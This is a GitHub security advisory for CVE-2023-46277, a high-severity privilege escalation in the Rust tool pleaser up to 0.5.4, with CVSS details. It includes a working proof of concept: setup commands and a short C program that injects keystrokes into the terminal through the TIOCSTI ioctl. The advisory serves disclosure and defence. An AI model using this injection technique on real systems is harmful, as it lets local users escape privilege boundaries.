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Pleaser privilege escalation vulnerability

High severity GitHub Reviewed Published Oct 20, 2023 to the GitHub Advisory Database • Updated Nov 9, 2023

Package

cargo pleaser (Rust)

Affected versions

<= 0.5.4

Patched versions

None

Description

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Published by the National Vulnerability Database Oct 20, 2023
Published to the GitHub Advisory Database Oct 20, 2023
Reviewed Oct 20, 2023
Last updated Nov 9, 2023

Severity

High
7.8
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Weaknesses

No CWEs

CVE ID

CVE-2023-46277

GHSA ID

GHSA-cgf8-h3fp-h956
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